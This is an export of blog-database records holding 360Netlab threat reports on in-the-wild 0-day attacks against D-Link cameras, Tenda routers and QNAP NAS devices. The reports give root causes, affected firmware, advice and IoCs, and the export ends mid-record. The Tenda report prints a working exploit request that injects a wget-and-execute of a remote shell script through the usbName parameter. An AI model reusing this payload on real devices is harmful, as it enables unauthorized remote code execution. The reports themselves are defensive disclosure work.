| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)*\n\n### 背景介绍\n2020年6月12号，@Dogonsecurity在推特上披露了这2个0-day漏洞部分细节[[1\\]](https://twitter.com/Dogonsecurity/status/1271265152118259712) [[2\\]](https://twitter.com/Dogonsecurity/status/1273251236167516161) ，并且互联网上已有这2个0-day漏洞PoC程序[[3\\]](https://pastebin.com/1WTDdKpR)。\n\n2020年7月4号，CNCERT物联网安全研究团队与360网络安全研究院共同分析，监测到有攻击者使用D-Link摄像头2个0-day漏洞，进行网络攻击活动。\n\n2020年8月27号，D-Link针对这2个0-day漏洞事件更新了安全公告[[4\\]](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180)，并推出固件升级程序v1.06.01。\n\n目前，我们已经发现D-Link共有9款型号的摄像头存在这2个0-day漏洞, 并向D-Link报告了受影响的范围，另外还报告了固件升级程序v1.06.01存在的漏洞。\n\n### 漏洞分析\n通过360 FirmwareTotal系统分析，D-Link摄像头2个在野0-day漏洞分别是：信息泄漏漏洞和命令注入漏洞，通过组合这2个漏洞，攻击者可以远程控制目标设备，威胁极高。\n\n#### 信息泄露漏洞分析\n漏洞类型：信息泄露\n漏洞原因：`/appro/execs/aHttpMain`程序在处理读取相关配置信息时并不需要登录认证，导致用户名、密码和软件版本等明文信息可被任意访问。\n<a href=\"__GHOST_URL__/content/images/2020/08/dlink_getuser.png\"><img src=\"__GHOST_URL__/content/images/2020/08/dlink_getuser.png\" class=\"kg-image\"/></a>\n\n#### 命令注入漏洞分析\n漏洞类型：命令注入\n漏洞原因：`/appro/execs/aHttpMain`程序在处理用户`/cgi-bin/ddns_enc.cgi`和`/cgi-bin/ddns.cgi`请求时，未对`account`参数进行过滤，即拼接为`ez-ipupdate`或`noip2`程序的参数并执行，造成命令注入漏洞。\n<a href=\"__GHOST_URL__/content/images/2020/08/dlink_noip.png\"><img src=\"__GHOST_URL__/content/images/2020/08/dlink_noip.png\" class=\"kg-image\"/></a>\n\n<a href=\"__GHOST_URL__/content/images/2020/08/dlink_ez_ipupdate.png\"><img src=\"__GHOST_URL__/content/images/2020/08/dlink_ez_ipupdate.png\" class=\"kg-image\"/></a>\n\n### 已知受影响固件列表\n```\nDCS-2530L_A1_FW_V1.03.01\nDCS-2530L_A1_FW_V1.04.01\nDCS-2530L_Ax_FW_V1.04.01\nDCS-2530L_REVA_FIRMWARE_1.03.01\nDCS-2530L_REVA_FIRMWARE_v1.03.01\nDCS-2530L_REVA_FIRMWARE_v1.04.01\nDCS-2530L_REVA_FIRMWARE_v1.05.05\nDCS-2530L_fw_revA1_1-03-01_eu_multi_20171108\nDCS-2530L_fw_revAx_1-04-01_eu_multi_20180601\nDCS-2670L_A1_FW_V2.01.031030103739\nDCS-2670L_FIRMWARE_2.01.10\nDCS-2670L_FW_v1.10.02\nDCS-2670L_fw_revA1_1-10-02_eu_multi_20171108\nDCS-2670L_fw_revA1_2-01-03_eu_multi\nDCS-2670L_fw_revB1_2-01_eu_multi_20190710\nDCS-4603_A1_FW_V1.03.04\nDCS-4603_FW_V1.02.02\nDCS-4603_REVA_FIRMWARE_1.02\nDCS-4603_REVA_FIRMWARE_v1.02.02\nDCS-4603_REVA_FIRMWARE_v1.03.04\nDCS-4603_fw_revA1_1-02-02_eu_multi_20171103\nDCS-4603_fw_revA1_1-03-04_eu_multi_20190422\nDCS-4622_B1_FW_V2.00.04\nDCS-4622_REVB_FIRMWARE_v2.00.04\nDCS-4622_fw_revB1_2-00-04_eu_multi_20181109\nDCS-4701E_B1_FW_V2.00.21_\nDCS-4701E_VB1_FIRMWARE_v2.00.21\nDCS-4703E_FW_V1.01.00\nDCS-4703E_FW_V1.02.03\nDCS-4703E_REVA_FIRMWARE_1.01\nDCS-4703E_REVA_FIRMWARE_v1.01\nDCS-4703E_REVA_FIRMWARE_v1.02.03\nDCS-4703E_fw_revA1_1-01_eu_multi_20170929\nDCS-4703E_fw_revA1_1-02-03_eu_multi_20190426\nDCS-4705E_A1_FW_v1.00.12\nDCS-4705E_A1_FW_v1.01.00\nDCS-4705E_REVA_FIRMWARE_v1.00.12\nDCS-4705E_REVA_FIRMWARE_v1.01.00\nDCS-4705E_fw_revA1_1-00-12_eu_multi_20181205\nDCS-4705E_fw_revA1_1-01-00_eu_multi_20190905\nDCS-4802E_B1_FW_V2.00.09\nDCS-4802E_REVB_FIRMWARE_v2.00.09\nDCS-4802E_fw_revB1_2-00-09_eu_multi_20190422\nDCS-P703_A1_FW_V1.01.00\n```\n\n### 处置建议\n我们建议D-Link摄像头用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nScanner IP\n```\n106.59.222.2 \tChina \tASN4134 \tNo.31,Jin-rong Street\n```\nDownloader IP\n```\n103.138.12.202 \tChina \tASN134176 \tRainbow network limited\n```\n\nURL\n```\nhttp://103.138.12.202:8099/dlink\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f472ce17646030007b2867b |
post | null | 2020-08-28T02:02:24.000Z | 63873b9a8b1c1e0007f52f7e | tendashe-xiang-tou | 0 | 2020-09-21T08:12:43.000Z | public | draft | null | null | Tenda路由器在野0-day漏洞分析报告 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a></em></p>
<h3 id="">背景介绍</h3>
<p>2020年8月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用Tenda路由器0-day漏洞，攻击我们的Anglerfish蜜罐节点。</p>
<h3 id="">漏洞分析</h3>
<p>漏洞类型: 未授权远程命令执行漏洞<br>
漏洞原因: <code>/httpd/cgi-/bin/httpd</code>程序通过<code>formSetSambaConf</code>函数处理samba接口配置信息时，没有验证账户登录。同时，它在参数<code>action</code>值为<code>del</code>时，没有对<code>usbName</code>参数进行安全过滤，就拼接为<code>cfm</code>命令，并由<code>doSystemCmd</code>函数执行，导致未授权远程命令执行漏洞。</p>
<h3 id="poc">在野PoC （只内部分享，不对外公开）</h3>
<pre><code>GET /goform/SetSambaCfg/.js?action=del&usbName=A;wget%20http%3A//45.112.205.60%3A80/td.sh%20-O%20/tmp/t.sh%3Bchmod%20775%20/tmp/t.sh%3B/tmp/t.sh%202d4f6c9330303039 HTTP/1.1
Host: {target}:8010
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: en-US,en;q=0.5
</code></pre>
<h3 id="">时间线</h3>
<pre><code>2020年8月28号，我们邮件联系Tenda厂商并报告了漏洞详情以及在野攻击PoC。
</code></pre>
<h3 id="">已知受影响固件列表</h3>
<pre><code>US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
</code></pre>
<h3 id="">处置建议</h3>
<p>我们建议Tenda 路由器用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>Scanner & Downloader IP</p>
<pre><code>45.249.92.60 China ASN133115 HK Kwaifong Group Limited
</code></pre>
<p>Websocket C2:</p>
<pre><code>ws://q9uvveypiB.notepod2.com:443
</code></pre>
<p>URL</p>
<pre><code>http://45.112.205.60/td.sh
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：马延龙，叶根深
背景介绍
2020年8月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用Tenda路由器0-day漏洞，攻击我们的Anglerfish蜜罐节点。
漏洞分析
漏洞类型: 未授权远程命令执行漏洞
漏洞原因: /httpd/cgi-/bin/httpd程序通过formSetSambaConf函数处理samba接口配置信息时，没有验证账户登录。同时，它在参数action值为del时，没有对usbName参数进行安全过滤，就拼接为cfm命令，并由doSystemCmd函数执行，导致未授权远程命令执行漏洞。
在野PoC （只内部分享，不对外公开）
GET /goform/SetSambaCfg/.js?action=del&usbName=A;wget%20http%3A//45.112.205.60%3A80/td.sh%20-O%20/tmp/t.sh%3Bchmod%20775%20/tmp/t.sh%3B/tmp/t.sh%202d4f6c9330303039 HTTP/1.1
Host: {target}:8010
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept-Language: en-US,en;q=0.5
时间线
2020年8月28号，我们邮件联系Tenda厂商并报告了漏洞详情以及在野攻击PoC。
已知受影响固件列表
US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
处置建议
我们建议Tenda 路由器用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
Scanner & Downloader IP
45.249.92.60 China ASN133115 HK Kwaifong Group Limited
Websocket C2:
ws://q9uvveypiB.notepod2.com:443
URL
http://45.112.205.60/td.sh
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)*\n### 背景介绍\n2020年8月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用Tenda路由器0-day漏洞，攻击我们的Anglerfish蜜罐节点。\n\n### 漏洞分析\n漏洞类型: 未授权远程命令执行漏洞\n漏洞原因: `/httpd/cgi-/bin/httpd`程序通过`formSetSambaConf`函数处理samba接口配置信息时，没有验证账户登录。同时，它在参数`action`值为`del`时，没有对`usbName`参数进行安全过滤，就拼接为`cfm`命令，并由`doSystemCmd`函数执行，导致未授权远程命令执行漏洞。\n\n### 在野PoC （只内部分享，不对外公开）\n```\nGET /goform/SetSambaCfg/.js?action=del&usbName=A;wget%20http%3A//45.112.205.60%3A80/td.sh%20-O%20/tmp/t.sh%3Bchmod%20775%20/tmp/t.sh%3B/tmp/t.sh%202d4f6c9330303039 HTTP/1.1\nHost: {target}:8010\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0\nAccept-Language: en-US,en;q=0.5\n```\n\n### 时间线\n```\n2020年8月28号，我们邮件联系Tenda厂商并报告了漏洞详情以及在野攻击PoC。\n```\n\n### 已知受影响固件列表\n```\nUS_AC9V1.0BR_V15.03.05.14_multi_TD01\nUS_AC9V1.0BR_V15.03.05.16_multi_TRU01\nUS_AC9V1.0BR_V15.03.2.10_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TD01\nUS_AC9V1.0BR_V15.03.2.13_multi_TDE01\nUS_AC9V3.0RTL_V15.03.06.42_multi_TD01\nUS_AC10UV1.0RTL_V15.03.06.48_multi_TDE01\nUS_AC15V1.0BR_V15.03.05.18_multi_TD01\nUS_AC15V1.0BR_V15.03.05.19_multi_TD01\nUS_AC15V1.0BR_V15.03.1.8_EN_TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS\nUS_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS\nUS_AC15V1.0BR_V15.03.1.12_multi_TD01\nUS_AC15V1.0BR_V15.03.1.16_multi_TD01\nUS_AC15V1.0BR_V15.03.1.17_multi_TD01\nUS_AC18V1.0BR_V15.03.05.05_multi_TD01\nUS_AC18V1.0BR_V15.03.3.6_multi_TD01\nUS_AC18V1.0BR_V15.03.3.10_multi_TD01\nac9_kf_V15.03.05.19(6318_)_cn\nac18_kf_V15.03.05.19(6318_)_cn\n```\n\n### 处置建议\n我们建议Tenda 路由器用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nScanner & Downloader IP\n```\n45.249.92.60 \tChina \tASN133115 \tHK Kwaifong Group Limited\n```\nWebsocket C2:\n```\nws://q9uvveypiB.notepod2.com:443\n```\n\nURL\n```\nhttp://45.112.205.60/td.sh\n```\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f4865b07646030007b286ef |
post | null | 2020-08-31T02:08:22.000Z | 63873b9a8b1c1e0007f52f7f | in-the-wild-qnap-nas-attacks-en | 0 | 2022-02-09T07:08:03.000Z | public | published | null | 2020-08-31T14:00:00.000Z | In the wild QNAP NAS attacks | <!--kg-card-begin: markdown--><p><em>Author:<a href="https://twitter.com/_O_owl">Yanlong Ma</a>, <a href="https://twitter.com/zom3y3">Genshen Ye</a>, <a href="https://twitter.com/SethKingHi">Ye Jin</a></em></p>
<p>From April 21, 2020, 360Netlab Anglerfish honeypot started to see a new QNAP NAS vulnerability being used to launch attack against QNAP NAS equipment. We noticed that this vulnerability has not been announced on the Internet, and the attacker is cautious in the process of exploiting it.</p>
<h3 id="vulnerabilityanalysis">Vulnerability analysis</h3>
<p>Vulnerability type: Unauthorized remote command execution vulnerability</p>
<p>When we enter the sample into the 360 FirmwareTotal system, we found that this vulnerability appeared in the CGI program <code>/httpd/cgi-bin/authLogout.cgi</code>. This CGI is used when user logout, and it select the corresponding logout function based on the field name in the Cookie. The problem is <code>QPS_SID</code>, <code>QMS_SID</code> and <code>QMMS_SID</code> does not filter special characters and directly calls the <code>snprintf</code> function to splice <code>curl</code> command string and calls the <code>system</code> function to run the string, thus making command injection possible.</p>
<p>Vulnerability fix: We contacted the vendor and shared the PoC on May/13, and on Aug 12, QNAP PSIRT replied and indicated the vulnerability had been fixed in previous update but there still are devices on the network that have not been patched. We looked into the vendors’ firmwares and discovered that on July 21, 2017, QNAP released firmware version 4.3.3 and this version included the fix for this vulnerability. This release replaced the <code>system</code> function with <code>qnap_exec</code>, and the <code>qnap_exec</code> function is defined in the <code>/usr/lib/libuLinux_Util.so.0</code>. By using the <code>execv</code> to execute custom command, command injection has been avoided.</p>
<p><a href="__GHOST_URL__/content/images/2020/08/bug_fix.png"><img src="__GHOST_URL__/content/images/2020/08/bug_fix.png" class="kg-image"/></a></p>
<h3 id="attackerbehavioranalysis">Attacker behavior analysis</h3>
<p>We captured two attackers IP <code>219.85.109.140</code> and <code>103.209.253.252</code>, both use the same Payload, after successful exploits, the device will wget <code>http://165.227.39.105:8096/aaa</code> file.</p>
<p>So far the attacker has not implanted bot programs like regular Botnets, and the entire attack process does not seem to be fully automated. we still do not know the true purpose of the attacker yet.</p>
<p>On <code>165.227.39.105:8096</code>, we found two other text <code>.sl</code> and <code>rv</code>. The <code>.sl</code> file contains 2 lines.</p>
<pre><code>IvHVFqkpELqvuN@WK
IvHVFqkpJEqr|DNWLr
</code></pre>
<p><code>rv</code>, this file is a bash reverse shell script, the control address is <code>165.227.39.105</code>, and the port is <code>TCP/1234</code>.</p>
<p>When we fingerprint this host, we see that <code>165.227.39.105</code> has SSH, Metasploit, Apache httpd and other services running.</p>
<pre><code>Discovered open port 9393/tcp on 165.227.39.105 //SSH
Discovered open port 5678/tcp on 165.227.39.105 //Unknown
Discovered open port 3790/tcp on 165.227.39.105 //Metasploit
Discovered open port 80/tcp on 165.227.39.105 //Apache httpd
</code></pre>
<h3 id="timeline">Timeline</h3>
<pre><code>On May 13, 2020, we emailed the QNAP vendor and reported the details of the vulnerability and shared the PoC.
On August 12, 2020, QNAP PSIRT replied that the vulnerability had been fixed in early updates, but such attacks still exist in the network.
</code></pre>
<h3 id="listofknownaffectedfirmware">List of known affected firmware</h3>
<pre><code>HS-210_20160304-4.2.0
HS-251_20160304-4.2.0
SS-439_20160304-4.2.0
SS-2479U_20160130-4.2.0
TS-119_20160304-4.2.0
TS-210_20160304-4.2.0
TS-219_20160304-4.2.0
TS-221_20160304-4.2.0
TS-239H_20160304-4.2.0
TS-239PROII_20160304-4.2.0
TS-239_20160304-4.2.0
TS-269_20160304-4.2.0
TS-410U_20160304-4.2.0
TS-410_20160304-4.2.0
TS-412U_20160304-4.2.0
TS-419P_20160304-4.2.0
TS-419U_20160304-4.2.0
TS-420U_20160304-4.2.0
TS-421U_20160304-4.2.0
TS-439PROII_20160119-4.2.0
TS-439PROII_20160304-4.2.0
TS-439_20160304-4.2.0
TS-459U_20160119-4.2.0
TS-459U_20160304-4.2.0
TS-459_20160304-4.2.0
TS-469U_20160304-4.2.0
TS-509_20160304-4.2.0
TS-559_20160304-4.2.0
TS-563_20160130-4.2.0
TS-659_20140927-4.1.1
TS-659_20160304-4.2.0
TS-669_20160304-4.2.0
TS-809_20160304-4.2.0
TS-859U_20160304-4.2.0
TS-869_20160304-4.2.0
TS-870U_20160119-4.2.0
TS-870U_20160304-4.2.0
TS-870_20160130-4.2.0
TS-879_20160130-4.2.0
TS-1079_20160119-4.2.0
TS-1269U_20160304-4.2.0
TS-1270U_20160304-4.2.0
TS-1679U_20160304-4.2.0
TS-X51U_20160304-4.2.0
TS-X51_20160304-4.2.0
TS-X53U_20160304-4.2.0
TS-X53U_20161028-4.2.2
TS-X53U_20161102-4.2.2
TS-X53U_20161214-4.2.2
TS-X53U_20170313-4.2.4
TS-X53_20160304-4.2.0
TS-X63U_20161102-4.2.2
TS-X63U_20170313-4.2.4
TS-X80U_20160304-4.2.0
TS-X80_20160130-4.2.0
TS-X80_20160304-4.2.0
TS-X80_20161102-4.2.2
TS-X82_20161208-4.2.2
TS-X82_20170313-4.2.4
TVS-X63_20160130-4.2.0
TVS-X63_20160304-4.2.0
TVS-X63_20160823-4.2.2
TVS-X63_20160901-4.2.2
TVS-X63_20161028-4.2.2
TVS-X63_20161102-4.2.2
TVS-X63_20170121-4.2.3
TVS-X63_20170213-4.2.3
TVS-X63_20170313-4.2.4
TVS-X71U_20161208-4.2.2
TVS-X71_20160130-4.2.0
TVS-X71_20160304-4.2.0
TVS-X71_20161214-4.2.2
TVS-X71_20170313-4.2.4
</code></pre>
<h3 id="suggestions">Suggestions</h3>
<p>We recommend that QNAP NAS users check and update their firmwares in a timely manner and also check for abnormal processes and network connections.</p>
<p>We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or emial to netlab at 360 dot cn.</p>
<h3 id="ioc">IoC</h3>
<p>Scanner IP</p>
<pre><code>219.85.109.140 Taiwan ASN18182 Sony Network Taiwan Limited
103.209.253.252 United States ASN33438 Highwinds Network Group, Inc.
</code></pre>
<p>Downloader IP</p>
<pre><code>165.227.39.105 Canada ASN14061 DigitalOcean, LLC
</code></pre>
<p>URL</p>
<pre><code>http://165.227.39.105:8096/.sl
http://165.227.39.105:8096/rv
http://165.227.39.105:8096/aaa
</code></pre>
<!--kg-card-end: markdown--> | Author:Yanlong Ma, Genshen Ye, Ye Jin
From April 21, 2020, 360Netlab Anglerfish honeypot started to see a new QNAP NAS vulnerability being used to launch attack against QNAP NAS equipment. We noticed that this vulnerability has not been announced on the Internet, and the attacker is cautious in the process of exploiting it.
Vulnerability analysis
Vulnerability type: Unauthorized remote command execution vulnerability
When we enter the sample into the 360 FirmwareTotal system, we found that this vulnerability appeared in the CGI program /httpd/cgi-bin/authLogout.cgi. This CGI is used when user logout, and it select the corresponding logout function based on the field name in the Cookie. The problem is QPS_SID, QMS_SID and QMMS_SID does not filter special characters and directly calls the snprintf function to splice curl command string and calls the system function to run the string, thus making command injection possible.
Vulnerability fix: We contacted the vendor and shared the PoC on May/13, and on Aug 12, QNAP PSIRT replied and indicated the vulnerability had been fixed in previous update but there still are devices on the network that have not been patched. We looked into the vendors’ firmwares and discovered that on July 21, 2017, QNAP released firmware version 4.3.3 and this version included the fix for this vulnerability. This release replaced the system function with qnap_exec, and the qnap_exec function is defined in the /usr/lib/libuLinux_Util.so.0. By using the execv to execute custom command, command injection has been avoided.
Attacker behavior analysis
We captured two attackers IP 219.85.109.140 and 103.209.253.252, both use the same Payload, after successful exploits, the device will wget http://165.227.39.105:8096/aaa file.
So far the attacker has not implanted bot programs like regular Botnets, and the entire attack process does not seem to be fully automated. we still do not know the true purpose of the attacker yet.
On 165.227.39.105:8096, we found two other text .sl and rv. The .sl file contains 2 lines.
IvHVFqkpELqvuN@WK
IvHVFqkpJEqr|DNWLr
rv, this file is a bash reverse shell script, the control address is 165.227.39.105, and the port is TCP/1234.
When we fingerprint this host, we see that 165.227.39.105 has SSH, Metasploit, Apache httpd and other services running.
Discovered open port 9393/tcp on 165.227.39.105 //SSH
Discovered open port 5678/tcp on 165.227.39.105 //Unknown
Discovered open port 3790/tcp on 165.227.39.105 //Metasploit
Discovered open port 80/tcp on 165.227.39.105 //Apache httpd
Timeline
On May 13, 2020, we emailed the QNAP vendor and reported the details of the vulnerability and shared the PoC.
On August 12, 2020, QNAP PSIRT replied that the vulnerability had been fixed in early updates, but such attacks still exist in the network.
List of known affected firmware
HS-210_20160304-4.2.0
HS-251_20160304-4.2.0
SS-439_20160304-4.2.0
SS-2479U_20160130-4.2.0
TS-119_20160304-4.2.0
TS-210_20160304-4.2.0
TS-219_20160304-4.2.0
TS-221_20160304-4.2.0
TS-239H_20160304-4.2.0
TS-239PROII_20160304-4.2.0
TS-239_20160304-4.2.0
TS-269_20160304-4.2.0
TS-410U_20160304-4.2.0
TS-410_20160304-4.2.0
TS-412U_20160304-4.2.0
TS-419P_20160304-4.2.0
TS-419U_20160304-4.2.0
TS-420U_20160304-4.2.0
TS-421U_20160304-4.2.0
TS-439PROII_20160119-4.2.0
TS-439PROII_20160304-4.2.0
TS-439_20160304-4.2.0
TS-459U_20160119-4.2.0
TS-459U_20160304-4.2.0
TS-459_20160304-4.2.0
TS-469U_20160304-4.2.0
TS-509_20160304-4.2.0
TS-559_20160304-4.2.0
TS-563_20160130-4.2.0
TS-659_20140927-4.1.1
TS-659_20160304-4.2.0
TS-669_20160304-4.2.0
TS-809_20160304-4.2.0
TS-859U_20160304-4.2.0
TS-869_20160304-4.2.0
TS-870U_20160119-4.2.0
TS-870U_20160304-4.2.0
TS-870_20160130-4.2.0
TS-879_20160130-4.2.0
TS-1079_20160119-4.2.0
TS-1269U_20160304-4.2.0
TS-1270U_20160304-4.2.0
TS-1679U_20160304-4.2.0
TS-X51U_20160304-4.2.0
TS-X51_20160304-4.2.0
TS-X53U_20160304-4.2.0
TS-X53U_20161028-4.2.2
TS-X53U_20161102-4.2.2
TS-X53U_20161214-4.2.2
TS-X53U_20170313-4.2.4
TS-X53_20160304-4.2.0
TS-X63U_20161102-4.2.2
TS-X63U_20170313-4.2.4
TS-X80U_20160304-4.2.0
TS-X80_20160130-4.2.0
TS-X80_20160304-4.2.0
TS-X80_20161102-4.2.2
TS-X82_20161208-4.2.2
TS-X82_20170313-4.2.4
TVS-X63_20160130-4.2.0
TVS-X63_20160304-4.2.0
TVS-X63_20160823-4.2.2
TVS-X63_20160901-4.2.2
TVS-X63_20161028-4.2.2
TVS-X63_20161102-4.2.2
TVS-X63_20170121-4.2.3
TVS-X63_20170213-4.2.3
TVS-X63_20170313-4.2.4
TVS-X71U_20161208-4.2.2
TVS-X71_20160130-4.2.0
TVS-X71_20160304-4.2.0
TVS-X71_20161214-4.2.2
TVS-X71_20170313-4.2.4
Suggestions
We recommend that QNAP NAS users check and update their firmwares in a timely manner and also check for abnormal processes and network connections.
We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.
Contact us
Readers are always welcomed to reach us on twitter, or emial to netlab at 360 dot cn.
IoC
Scanner IP
219.85.109.140 Taiwan ASN18182 Sony Network Taiwan Limited
103.209.253.252 United States ASN33438 Highwinds Network Group, Inc.
Downloader IP
165.227.39.105 Canada ASN14061 DigitalOcean, LLC
URL
http://165.227.39.105:8096/.sl
http://165.227.39.105:8096/rv
http://165.227.39.105:8096/aaa
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author:[Yanlong Ma](https://twitter.com/_O_owl), [Genshen Ye](https://twitter.com/zom3y3), [Ye Jin](https://twitter.com/SethKingHi)*\n\nFrom April 21, 2020, 360Netlab Anglerfish honeypot started to see a new QNAP NAS vulnerability being used to launch attack against QNAP NAS equipment. We noticed that this vulnerability has not been announced on the Internet, and the attacker is cautious in the process of exploiting it.\n\n\n### Vulnerability analysis\nVulnerability type: Unauthorized remote command execution vulnerability\n\nWhen we enter the sample into the 360 FirmwareTotal system, we found that this vulnerability appeared in the CGI program `/httpd/cgi-bin/authLogout.cgi`. This CGI is used when user logout, and it select the corresponding logout function based on the field name in the Cookie. The problem is `QPS_SID`, `QMS_SID` and `QMMS_SID` does not filter special characters and directly calls the `snprintf` function to splice `curl` command string and calls the `system` function to run the string, thus making command injection possible.\n\nVulnerability fix: We contacted the vendor and shared the PoC on May/13, and on Aug 12, QNAP PSIRT replied and indicated the vulnerability had been fixed in previous update but there still are devices on the network that have not been patched. We looked into the vendors’ firmwares and discovered that on July 21, 2017, QNAP released firmware version 4.3.3 and this version included the fix for this vulnerability. This release replaced the `system` function with `qnap_exec`, and the `qnap_exec` function is defined in the `/usr/lib/libuLinux_Util.so.0`. By using the `execv` to execute custom command, command injection has been avoided. \n\n<a href=\"__GHOST_URL__/content/images/2020/08/bug_fix.png\"><img src=\"__GHOST_URL__/content/images/2020/08/bug_fix.png\" class=\"kg-image\"/></a>\n\n### Attacker behavior analysis\nWe captured two attackers IP `219.85.109.140` and `103.209.253.252`, both use the same Payload, after successful exploits, the device will wget `http://165.227.39.105:8096/aaa` file. \n\nSo far the attacker has not implanted bot programs like regular Botnets, and the entire attack process does not seem to be fully automated. we still do not know the true purpose of the attacker yet.\n\nOn `165.227.39.105:8096`, we found two other text `.sl` and `rv`. The `.sl` file contains 2 lines.\n```\nIvHVFqkpELqvuN@WK\nIvHVFqkpJEqr|DNWLr\n```\n\n`rv`, this file is a bash reverse shell script, the control address is `165.227.39.105`, and the port is `TCP/1234`.\n\nWhen we fingerprint this host, we see that `165.227.39.105` has SSH, Metasploit, Apache httpd and other services running.\n```\nDiscovered open port 9393/tcp on 165.227.39.105 //SSH\nDiscovered open port 5678/tcp on 165.227.39.105 //Unknown\nDiscovered open port 3790/tcp on 165.227.39.105 //Metasploit\nDiscovered open port 80/tcp on 165.227.39.105 //Apache httpd\n```\n\n\n### Timeline\n```\nOn May 13, 2020, we emailed the QNAP vendor and reported the details of the vulnerability and shared the PoC.\nOn August 12, 2020, QNAP PSIRT replied that the vulnerability had been fixed in early updates, but such attacks still exist in the network.\n```\n\n### List of known affected 